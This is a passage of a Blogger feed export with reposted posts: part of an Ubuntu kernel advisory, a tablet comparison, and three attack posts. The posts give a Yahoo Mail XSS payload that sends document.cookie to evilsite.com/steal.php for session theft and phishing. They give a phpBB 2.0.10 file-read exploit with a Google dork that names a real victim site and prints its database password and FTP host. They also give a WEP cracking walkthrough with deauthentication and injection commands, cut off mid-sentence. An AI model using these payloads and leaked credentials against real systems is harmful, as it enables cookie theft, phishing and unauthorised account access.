/&gt;9. The rules of bridging netfilter could be modified by regular users. This could lead to a DoS attack, by fracturing the network traffic. The issue was discovered by Florian Westphal and affects all Ubuntu systems.&lt;br /&gt;&lt;br /&gt;10. Linux kernel memory could be leaked by various mremap operations. This could lead to a DoS attack, by consuming the entire available memory. The issue was discovered by Al Viro and affects all Ubuntu systems.&lt;br /&gt;&lt;br /&gt;The above Linux kernel vulnerabilities can be fixed if you update your system today to the following specific packages:&lt;br /&gt;&lt;br /&gt;• For Ubuntu 6.06 LTS, users should update their kernel packages to linux-image-2.6.15-55.82.&lt;br /&gt;&lt;br /&gt;• For Ubuntu 8.04 LTS, users should update their kernel packages to linux-image-2.6.24-27.65.&lt;br /&gt;&lt;br /&gt;• For Ubuntu 8.10, users should update their kernel packages to linux-image-2.6.27-17.45.&lt;br /&gt;&lt;br /&gt;• For Ubuntu 9.04, users should update their kernel packages to linux-image-2.6.28-18.59.&lt;br /&gt;&lt;br /&gt;• For Ubuntu 9.10, users should update their kernel packages to linux-image-2.6.31-19.56.&lt;br /&gt;&lt;br /&gt;Don’t forget to reboot your computer after this important kernel update! To verify the kernel version, type the sudo dpkg -l linux-image-2.6.31-19-generic command in a terminal (the example is for Ubuntu 9.10 users ONLY, and it will output the version of the Linux kernel listed above).&lt;br /&gt;&lt;br /&gt;ATTENTION: Due to an unavoidable ABI change, the kernel packages have a new version number, which will force you to reinstall or recompile all third-party kernel modules you might have installed. Moreover, if you use the linux-restricted-modules package, you have to update it as well to get modules that work with the new Linux kernel version.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-109717620977507162?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/109717620977507162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=109717620977507162' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/109717620977507162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/109717620977507162'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/10-vulnarabilities-in-ubuntu-kernal.html' title='10 vulnarabilities in ubuntu kernal'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-972666271150638411</id><published>2010-02-14T06:27:00.001-08:00</published><updated>2010-02-14T06:27:35.078-08:00</updated><title type='text'>Notion Ink's ADAM Vs Ipad</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p style='text-align: justify;'&gt;&lt;img width='291' height='194' alt='' src='http://iphonehelp.in/content/uploads/2010/02/01-27-10ipaded-375x250.jpg' title='01-27-10ipaded' class='alignnone size-medium wp-image-11252'/&gt; &lt;img width='291' height='191' alt='' src='http://iphonehelp.in/content/uploads/2010/02/Notion_ink_adam-375x280.jpg' title='Notion_ink_adam' class='alignnone size-medium wp-image-11253'/&gt;&lt;/p&gt;&lt;br/&gt;&lt;p style='text-align: justify;'&gt;While the iPad is all ready to be&lt;br/&gt;shipped across in the US by March end one of its strongest competitors&lt;br/&gt;viz, Notion Inks’ ADAM is pulling up its socks for a showdown with with&lt;br/&gt;the worlds best in innovation to be officially announced and unveiled&lt;br/&gt;at the Mobile World Conference (MWC) next week.&lt;/p&gt;&lt;br/&gt;&lt;p style='text-align: justify;'&gt;Now you would think what makes the Adam&lt;br/&gt;suh a strong competitor to the iPad. Well here it goes. The iPad has&lt;br/&gt;been strongly criticised on various aspects and this is exactly where&lt;br/&gt;the Adam scores. The Adam uses  NVIDIA’s new Tegra 2 chipset as a&lt;br/&gt;result its able to run the same hardware as the iPad effectively 2-3 x&lt;br/&gt;longer. Add to it the Pi Qixel display and the longevity is further&lt;br/&gt;improved. Besides the Adams’ Pi Qixel can display&lt;span id='more-11249'/&gt;&lt;br/&gt;a 1080p HD video whereas the iPad merely manages a 576/480p.  Its&lt;br/&gt;slimmer than the iPad (13.4mm) with two different versions at 12.9mm&lt;br/&gt;and 11.4mm thickness. Notion Ink CEO Rohan Shravan also hints that they&lt;br/&gt;can go more thin by opting for a slimmer LCD (currently which occupies&lt;br/&gt;a 5mm space)&lt;/p&gt;&lt;br/&gt;&lt;p style='text-align: justify;'&gt;They are already garnering content&lt;br/&gt;partnerships with various digital magazines, e-books and  comics, the&lt;br/&gt;list of which is growing as we speak. Also they are planning to&lt;br/&gt;announce an Apps competition for developers with approx prize of around&lt;br/&gt;$ 1m.  &lt;em&gt;If these weren’t enough to tilt the balance the Adam runs Flash and comes with USB ports&lt;/em&gt;.&lt;/p&gt;&lt;br/&gt;&lt;p style='text-align: justify;'&gt;Imagine all of this and perhaps a&lt;br/&gt;little more (maybe they have something more up their sleeves) at a&lt;br/&gt;lower price tag than the iPads’. For now the price point is mere&lt;br/&gt;speculation till the MWC. Still you never know. Our money is certainly&lt;br/&gt;on Notion Inks Adam to give the iPad a run for its money.&lt;/p&gt;&lt;br/&gt;Go Adam Go!!&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=a9a7f245-9664-84e6-8762-9cc17f5e9f4c' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-972666271150638411?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/972666271150638411/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=972666271150638411' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/972666271150638411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/972666271150638411'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/notion-ink-adam-vs-ipad.html' title='Notion Ink&amp;#39;s ADAM Vs Ipad'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-1874425155727710583</id><published>2010-02-12T11:13:00.001-08:00</published><updated>2010-02-12T11:13:58.183-08:00</updated><title type='text'>Yahoo! Mail Beta - XSS all the way</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I briefly looked at the new features and then proceeded onto the new look Yahoo! Mail. After watching a boy bounce on a green space hopper for a while, with the words "Yahoo loading", I went and got a drink. Eventually when I got back it had loaded up. Now I regret to say I was quite impressed with how they laid it all out. It has been designed to look and feel like a piece of email software, like outlook or thunderbird. However the full user interactivity and the differnt frames gave me a bad feeling, so I decided (for my own security reasons) to test out what may happen with a bit of XSS. So firstly, I simply started an email and wrote:&lt;p&gt;&amp;lt;script&amp;gt;alert("Ohno");&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;p&gt;I clicked on send and hoped Yahoo hadnt been that dumb. Opening the email I found out, they hadnt. Good for them. So I decided to move it up a step, and sent myself a html link. This is where the problem started. I wrote the word "Test" and highlighted it. I then clicked on their button to make a hyperlink. It gave me the option of choosing different types of links (ftp: etc.), but I stuck with http://. I entered in the following:&lt;/p&gt;&lt;p&gt;&lt;a href='http://www.yahoo.com%22%3ehere%3c/a%3E%3Cscript%3Ealert%28%22Ohno%22%29;%3C/script'&gt;http://www.yahoo.com"&amp;gt;Here&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;alert("Ohno");&amp;lt;/script&lt;/a&gt;&amp;gt;&lt;/p&gt;&lt;p&gt;Clicked ok, and sent the email. Upon picking the email up, I recieved a pop-up message simple saying "Ohno". Oh no indeed. I had to check that other things were not possible using this flaw, so I tried to view my cookie using an alert box, thinking they may have put it a check for the document.cookie command:&lt;/p&gt;&lt;p&gt;&lt;a href='http://www.yahoo.com/'&gt;http://www.yahoo.com&lt;/a&gt;" onMouseOver="alert(document.cookie)";&lt;/p&gt;&lt;p&gt;I sent the email, picked it up, and hovered my mouse over the link. A second later, an alert box popped up, with information that was stored in my cookie. Thinking that I could SEE my cookie, I wondered if it was possible to SEND my cookie somewhere, or even get the user to navigate to a web page. "Sure" I thought. "Just change the code using window.location and then a website and the website should pop-up!" So I tried it out:&lt;/p&gt;&lt;p&gt;&lt;a href='http://www.yahoo.com%22%3ehere%3c/a%3E%3Cscript%3Ewindow.location=%22www.datastronghold.com%22%3C/script'&gt;http://www.yahoo.com"&amp;gt;Here&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;window.location="www.datastronghold.com"&amp;lt;/script&lt;/a&gt;&amp;gt;&lt;/p&gt;&lt;p&gt;Once picked up, I was dismayed a little to say the least. It hadnt worked. I was presented instead with a Yahoo error page, saying it was unable to find the link. Now, I know the site is there. YOU know the site is there. So why didnt Yahoo let me get onto it? They have been clever in a little way to say the least, it seems that only Yahoo sites could be displyed through the lower pane. SUrely that'll stop any fraud sites wont it? Of course not. A little simple modification, and the link works fine:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;a href='http://www.yahoo.com%22%3ehere%3c/a%3E%3Cscript%3Ewindow.location=%22http://rds.yahoo.com/_ylt=A0geusygW9xE.v4AcCNXNyoA;_ylu=X3oDMTE3N3F0cXNhBGNvbG8DZQRsA1dTMQRwb3MDMgRzZWMDc3IEdnRpZANGNzcyXzEyNQ--/SIG=12bop18fo/EXP=1155378464/**http://www.datastronghold.com%22%3C/script'&gt;http://www.yahoo.com"&amp;gt;Here&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;window.location="http://rds.yahoo.com/_ylt=A0geusygW9xE.v4AcCNXNyoA;_ylu=X3oDMTE3N3F0cXNhBGNvbG8DZQRsA1dTMQRwb3MDMgRzZWMDc3IEdnRpZANGNzcyXzEyNQ--/SIG=12bop18fo/EXP=1155378464/**http%3a//www.datastronghold.com"&amp;lt;/script&lt;/a&gt;&amp;gt;&lt;/p&gt;&lt;p&gt;In case you don't know, the URL shown there is a link that I took from the Yahoo search engine, when it links to another page. Just by visiting a random page through yahoo and trimming off the url at the end, you can freely add your own, and the XSS script works fine! In fact, if the user tries to view any of their other emails, they cant! They are stuck with that page! &lt;/p&gt;&lt;p&gt;WARNING: This could lead to exploititive use, such as requeting for Yahoo user names and passwords, seeing as the url is not shown unless you view the pages properties, allowing phising sites to fake Yahoo logon pages, stating the users time on the email account has run out and they need to log in again. This, as well as allowing cookies to be sent to a php script for example:&lt;/p&gt;&lt;p&gt;&lt;a href='http://www.yahoo.com%22%3ehere%3c/a%3E%3Cscript%3Ewindow.location=%22http://rds.yahoo.com/_ylt=A0geusygW9xE.v4AcCNXNyoA;_ylu=X3oDMTE3N3F0cXNhBGNvbG8DZQRsA1dTMQRwb3MDMgRzZWMDc3IEdnRpZANGNzcyXzEyNQ--/SIG=12bop18fo/EXP=1155378464/**http://www.evilsite.com/steal.php?%22+document.cookie%3C/script'&gt;http://www.yahoo.com"&amp;gt;Here&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;window.location="http://rds.yahoo.com/_ylt=A0geusygW9xE.v4AcCNXNyoA;_ylu=X3oDMTE3N3F0cXNhBGNvbG8DZQRsA1dTMQRwb3MDMgRzZWMDc3IEdnRpZANGNzcyXzEyNQ--/SIG=12bop18fo/EXP=1155378464/**http%3a//www.evilsite.com/steal.php?"+document.cookie&amp;lt;/script&lt;/a&gt;&amp;gt;&lt;/p&gt;&lt;p&gt;Provides a mssive problem for BT and Yahoo. I have yet to find a suitable contact for BT and Yahoo to report this to, so here it is for your educational purposes: Do NOT use Yahoo! Mail Beta. I cannot stress that enough!&lt;/p&gt;Legal note (so I dont get sued): I provide the above information as educational information and in no way encourage or support the mis-use of this information.&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=bd408c1c-a4cb-8ff6-a530-cc4cc68ce6f6' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-1874425155727710583?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/1874425155727710583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=1874425155727710583' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1874425155727710583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1874425155727710583'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/yahoo-mail-beta-xss-all-way.html' title='Yahoo! Mail Beta - XSS all the way'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-1221189851248727440</id><published>2010-02-12T11:11:00.001-08:00</published><updated>2010-02-12T11:11:30.472-08:00</updated><title type='text'>How do get root accses in phpbb 2.0.10 hosted by free.fr</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;First of all, this sploit works on phpbb 2.0.10 hosted by free.fr, a french web provider. So, the Google Search : 2.0.10 © 2001, 2002 phpBB Group inurl:free.fr&lt;br/&gt;&lt;br/&gt;Then, you have a victim example http://romain.matu.free.fr/phpBB2/&lt;br/&gt;Now go to a topic and take the topic id.&lt;br/&gt;Paste : viewtopic.php?a=config.php&amp;amp;t=TOPICID&amp;amp;highlight=%2527.readfile($HTTP_GET_VARS[a]).%2527&lt;br/&gt;&lt;br/&gt;Results : http://romain.matu.free.fr/phpBB2/viewtopic.php?a=config.php&amp;amp;t=460&amp;amp;highlight=%2527.readfile($HTTP_GET_VARS[a]).%2527&lt;br/&gt;&lt;br/&gt;Finally, look at the source of the page, and somewhere will appear : &lt;br/&gt;&lt;br/&gt;&amp;lt;?php&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;// phpBB 2.x auto-generated config file&lt;br/&gt;// Do not change anything in this file!&lt;br/&gt;&lt;br/&gt;$dbms = 'mysql';&lt;br/&gt;&lt;br/&gt;$dbhost = 'sql.free.fr';&lt;br/&gt;$dbname = 'romain.matu';&lt;br/&gt;$dbuser = 'romain.matu';&lt;br/&gt;$dbpasswd = 'nintendo';&lt;br/&gt;&lt;br/&gt;$table_prefix = 'phpbb_';&lt;br/&gt;&lt;br/&gt;define('PHPBB_INSTALLED', true);&lt;br/&gt;&lt;br/&gt;?&amp;gt;&lt;br/&gt;&lt;br/&gt;With Free.fr, the sql database login/pass are the same for the ftp account &lt;br/&gt;&lt;br/&gt;FTP Adres: ftpperso.free.fr&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=81561327-0775-88d2-88f3-07175a4c29fe' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-1221189851248727440?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/1221189851248727440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=1221189851248727440' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1221189851248727440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1221189851248727440'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/how-do-get-root-accses-in-phpbb-2010.html' title='How do get root accses in phpbb 2.0.10 hosted by free.fr'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-6055661779951057766</id><published>2010-02-11T11:00:00.001-08:00</published><updated>2010-02-11T11:00:59.525-08:00</updated><title type='text'>Cracking Wifi with Back|Track</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Ever wondered just how secure your WEP protected wireless network is? Well today I'll show you how to test it. There have been a lot of articles written about this subject already and by now it is common knowledge that &lt;a href='http://www.securityfocus.com/infocus/1814' target='_blank'&gt;WEP is only the barest of security precautions&lt;/a&gt;. I'm going to show you how you can test your own wireless network's security using the linux livecd distro back|track. Before we go any further, I feel it necessary to mention two things. The first being the ethics of hacking. Most of you are probably familiar with this subject already but, just to &lt;a href='http://en.wikipedia.org/wiki/Hacker_ethic' target='_blank'&gt;refresh your memory&lt;/a&gt;. Second, it goes without saying that this is for &lt;strong&gt;YOUR OWN NETWORK TESTING PURPOSES ONLY&lt;/strong&gt;. Unauthorized access of other people's networks is illegal. If you have problems or questions about anything in this guide, for the love of god use google/wikipedia and look it up first. Don't just start ranting on forums like a moron without doing a little research first. There are probably other people who have had the same problems and solved them already. Ok, parental rant over. Lets get down to the dirty stuff: &lt;p align='left'&gt;First of all, you'll need to check and make sure your wireless card has the right chipset. Most wireless cards are programmed only to accept data that is addressed to them. Other cards, specifically the ones that are of use for wifi sniffing, are capable of picking up all traffic that is flying through the air. Common types are Atheros, Prism, Aironet, Realtek, Hermes, etc based cards. You are on your own figuring out what type of chipset your wireless card has, as its too vast to get into here, but check &lt;a target='_blank' href='http://forums.remote-exploit.org/showthread.php?t=1042&amp;amp;highlight=wireless+cards'&gt;this thread &lt;/a&gt;for more info. Your probably just going to have to search for your specific card to find out what chipset it has then compare it to &lt;a target='_blank' href='http://www.aircrack-ng.org/doku.php?id=compatibility&amp;amp;DokuWiki=d72fb8a766e5fec34b11fe93618401f5'&gt;this compatability list&lt;/a&gt;. For a good discussion on types of cards that work, check this &lt;a target='_blank' href='http://forums.remote-exploit.org/showthread.php?t=2191'&gt;http://forums.remote-exploit.org/showthread.php?t=2191&lt;/a&gt;&lt;/p&gt; &lt;p align='left'&gt;Next, download a copy of &lt;a target='_blank' href='http://www.remote-exploit.org/index.php/BackTrack_Downloads'&gt;back|track&lt;/a&gt;, a slackware distro designed for security testing purposes. This is a &lt;a target='_blank' href='http://en.wikipedia.org/wiki/Livecd'&gt;linux livecd&lt;/a&gt;, which means it will boot the entire OS from the cd. Download the &lt;a href='http://en.wikipedia.org/wiki/ISO_image'&gt;ISO&lt;/a&gt; and use a burning program such as Nero, Alcohol or my personal favorite, the awesome freeware cd/dvd burning program &lt;a target='_blank' href='http://www.cdburnerxp.se/'&gt;cdburnerXP&lt;/a&gt; to burn the disk image to a cd. Pop the disk in and reboot, and &lt;a target='_blank' href='http://www.computerhope.com/issues/ch000217.htm'&gt;boot from the disk&lt;/a&gt;. Back|track may take a while to boot up. &lt;/p&gt; &lt;p align='left'&gt;When back|track boots up (and hopefully finds all your hardware) you will be presented with a login screen. To quote the venerable xatar, "Read the f**king screen!" The login, as it says above the prompt is "root" and the password is "toor" (minus the ""). &lt;strong&gt;Note that linux is case sensitive.&lt;/strong&gt; After you are logged in, you could run all of the commands I will get into later from this prompt. But thats no fun, so type in:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;xconf&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt; &lt;/p&gt; &lt;p align='left'&gt;This should create a file /etc/X11/xorg.conf and autodetect your video settings. (with nvidia cards, you may still have video problems as I did, such as not getting above 640x480... should you choose to install backtrack to the harddrive, check out &lt;a target='_blank' href='http://forums.remote-exploit.org/showthread.php?t=2176&amp;amp;highlight=nvidia'&gt;http://forums.remote-exploit.org/showthread.php?t=2176&amp;amp;highlight=nvidia&lt;/a&gt; for more info on fixing this) &lt;/p&gt; &lt;p align='left'&gt;To get the KDE gui desktop to start up, simply type:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;startx&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt; &lt;/p&gt; &lt;p align='left'&gt;If everything goes smoothly, you should be awash in the beautiful glow of the back|track KDE desktop. Given the beautiful read only nature of the livecd, you can do anything to this operating system and not have to worry about messing it up. If things get a little weird, or screwed up, just reboot and the OS is back to normal. So GO EXPLORE, run random programs, see what they do, go nuts. &lt;/p&gt; &lt;p align='left'&gt;At the bottom left of the screen is a little icon that looks like a monitor with a black screen. &lt;strong&gt;This is called the bash prompt.&lt;/strong&gt; This is where you will be spending most of your time, so click on this to &lt;strong&gt;open up a new bash prompt. &lt;/strong&gt;Note that you can double click on the bar to the right of the tab that says "Shell" and it will create a new bash tab, negating the necessity to open up multiple instances of the bash window. First, a few networking commands to get you up to speed on your own system. Type&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;ifconfig -a &lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;&lt;img width='500' height='518' alt='ifconfig' src='http://www.i-hacked.com/images/stories/wifihack/ifconfig-a.jpg'/&gt;&lt;/p&gt; &lt;p align='left'&gt;This will show you a list of all compatible network cards on your system. You should see a list of devices such as ath0, eth0, wifi0, wlan0 etc. One of these is your wireless card. If you have an Atheros based card, it will be ath0. Make note of the name of your card, as you will be using it later. &lt;strong&gt;For the rest of this guide, I will be using ath0 since that is the card I have. Replace ath0 with whatever card you have. &lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;You can also check out your wireless cards specifically by typing in:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;iwconfig&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;&lt;img width='500' height='398' alt='iwconfig' src='http://www.i-hacked.com/images/stories/wifihack/iwconfig.jpg'/&gt;&lt;/p&gt; &lt;p align='left'&gt;I've got two wireless cards. The one built into my laptop, an intel card (eth0) and an Atheros pcmcia card (ath0). Now that we have the name of our wireless cards, we can start sniffing. Some like to use Kismet to sniff for networks, but I find using airodump-ng to be easier and ultimately more effective. In your bash prompt, type:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;airodump-ng --write &lt;em&gt;out&lt;/em&gt; --ivs --abg &lt;em&gt;ath0 &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;&lt;img width='500' height='307' alt='airodump' src='http://www.i-hacked.com/images/stories/wifihack/airodump-ng1.jpg'/&gt;&lt;/p&gt; &lt;p align='left'&gt;This starts airodump-ng and tells it to begin sniffing data, write it to the file &lt;strong&gt;out&lt;/strong&gt;, only capture  IVs (&lt;a target='_blank' href='http://en.wikipedia.org/wiki/Initialization_vector'&gt;Initialization Vectors&lt;/a&gt;), search the a, b and g bands using the ath0 card. Keep in mind, every time you specify the same output file name, such as "out", airodump-ng will append the file name with "-##" such as out-01.ivs, out-02.ivs, etc.You will see a list of access points on the top half of the screen, and clients on the bottom. Find your access point in the list.&lt;strong&gt; Write down the &lt;a target='_blank' href='http://en.wikipedia.org/wiki/BSSID'&gt;BSSID&lt;/a&gt; or Mac address of the access point and any connected clients. You'll need it later.&lt;/strong&gt; &lt;strong&gt;From now on in this document, the access point's mac address will be referred to as APmac and the client mac as CLmac. &lt;/strong&gt; The goal of the attack is to capture as many unique IVS as possible. Every time data is sent between the wireless server and client, each packet contains IV which are collected and then run through the aircrack-ng program for computation. &lt;/p&gt; &lt;p align='left'&gt;You should be seeing a ton of numbers flying by, but not updating vary quickly. Thats because airodump-ng is searching all channels. Once you see your network, note what channel it is on (under the CH header). Stop airodump-ng by hitting:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;ctrl-c&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt; &lt;/p&gt; &lt;p align='left'&gt;Now start it up again but this time we will add --channel # where # is the channel number of the access point, say, channel &lt;strong&gt;6&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;airodump-ng --channel 6 --write &lt;em&gt;out&lt;/em&gt; --ivs --abg &lt;em&gt;ath0 &lt;/em&gt;&lt;/strong&gt; &lt;/p&gt; &lt;p align='left'&gt;&lt;img width='500' height='289' alt='airodump' src='http://www.i-hacked.com/images/stories/wifihack/airodump-ng2.jpg'/&gt;&lt;/p&gt; &lt;p align='left'&gt;Airodump-ng should be running much faster now, and updating constantly. You will see a number rising very quickly, this is generally the beacons. Beacons just basically say "hey, i'm an access point" about 10 times a second. You can judge the quality of your connection by how fluid the rise in beacons are. Other than this, they are useless for our purposes. For this type of attack it is important for there to be a client connected to the access point. So march over to your other computer and log on to the net wirelessly. In backtrack, you should see at the bottom a client pop up, the first MAC is the access point and the 2nd is the Client. &lt;strong&gt;Write down both. Open a new bash prompt&lt;/strong&gt; and type:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;aireplay-ng -2 -b &lt;em&gt;APmac &lt;/em&gt;-d ff:ff:ff:ff:ff:ff -m 68 -n 68 -p 0841 -h &lt;em&gt;CLmac ath0 &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;&lt;em&gt;&lt;img width='500' height='226' alt='aireplay' src='http://www.i-hacked.com/images/stories/wifihack/aireplay-ng1.jpg'/&gt;&lt;/em&gt;&lt;/p&gt; &lt;p align='left'&gt;Where APmac is the mac address (bssid) of the access point and CLmac is the mac address of the client. For a detailed explanation of what all these settings do, open up a new bash prompt and just type aireplay-ng and it will spew out all the controls and what they do. The only one not explained is that the very first -2 tells aireplay to do the 3rd attack method in the list at the bottom (the first being 0).&lt;/p&gt; &lt;p align='left'&gt;aireplay-ng will now start sniffing for a certain type of packet with a length no more and no less than 68 bytes between client and access point. It will say "Read ### packets". At this point, if there is significant data transfer between the client and ap, &lt;strong&gt;it may snag the right type of packet already and there is no need to do the next step&lt;/strong&gt;. In this case, hit Y to use the packet and skip the next step. If however, it keeps reading packets for a while (more than a couple min) and does not pop up saying "Use this packet?" then do the following: &lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;Open a new bash prompt &lt;/strong&gt;and type:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;aireplay-ng -0 1 -a &lt;em&gt;APmac &lt;/em&gt;-c &lt;em&gt;CLmac ath0 &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;This command will effectively terminate the connection between the AP and the client forcing the client to re-connect. It is this re-connection packet that we are looking to scoop up with the first instance of aireplay. &lt;/p&gt; &lt;p align='left'&gt;Go back to the first instance of aireplay and you should see something at the bottom of the screen saying "Use this packet?" &lt;strong&gt;Hit Y&lt;/strong&gt; and aireplay will start sending out tons of packets to the AP. Switch over to airodump-ng which should still be running in the first bash prompt. Look at the data rate of the targeted AP. If all is going well, Aireplay is spewing out packets like mad to the access point and airodump-ng is picking up the chatter in between, the data should be rising quickly. This is exactly what we want. &lt;/p&gt; &lt;p align='left'&gt;If for some reason the data isn't going up quickly, go back to the first aireplay-ng and hit:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;ctrl-c&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt; &lt;/p&gt; &lt;p align='left'&gt;If aireplay had picked up any more packets, it will prompt you again if you want to use them. Try more packets. Also, you may need to get closer to your access point or try the aireplay-ng -0 method again. Experiment. Once you've got the data rate going up quickly, start aircrack-ng and start crunching the numbers. Type in &lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;dir&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt; &lt;/p&gt; &lt;p align='left'&gt;To get a list of the files. One file should be the out file that you specified in airodump-ng, specifically out-01.ivs. Each time airodump-ng is started with the same file output name, it creates a new one tacking on -01, -02, etc. Make sure you know which one you are outputting to. &lt;/p&gt; &lt;p align='left'&gt;Type in:&lt;/p&gt; &lt;p align='left'&gt;&lt;strong&gt;aircrack-ng -f 2 -a 1 -b &lt;em&gt;APmac &lt;/em&gt;-n 64 &lt;em&gt;out-01.ivs&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align='left'&gt;&lt;img width='500' height='211' alt='aircrack' src='http://www.i-hacked.com/images/stories/wifihack/aircrack-ngfound.jpg'/&gt;&lt;/p&gt; Again, if you want to know what all the parameters mean, open up a new bash and type aircrack-ng and it will tell you. Basically -f is the fudge factor- default is 2, a higher number will be a more thorough but slower search. -b filters out all but the specified mac of the AP, -n says to search for a 64 bit key. If it runs for a long time and finds nothing, either you don't have enough IVs, or you are searching under the wrong key length. Try 128. You can also run multiple instances of of aircrack with different variables. Aircrack will continually update, notice the increasing IVs in the upper right as long is airodump-ng and aireplay are still going strong. After a bit of time, it should spit out your WEP key. Congrats! You now know how hard it is breaking into YOUR OWN NETWORK. Perhaps switch to WPA? If it didn't work, there could be any number reasons why. Do a little searching on the backtrack forums, google, etc, try setting up a different access point or 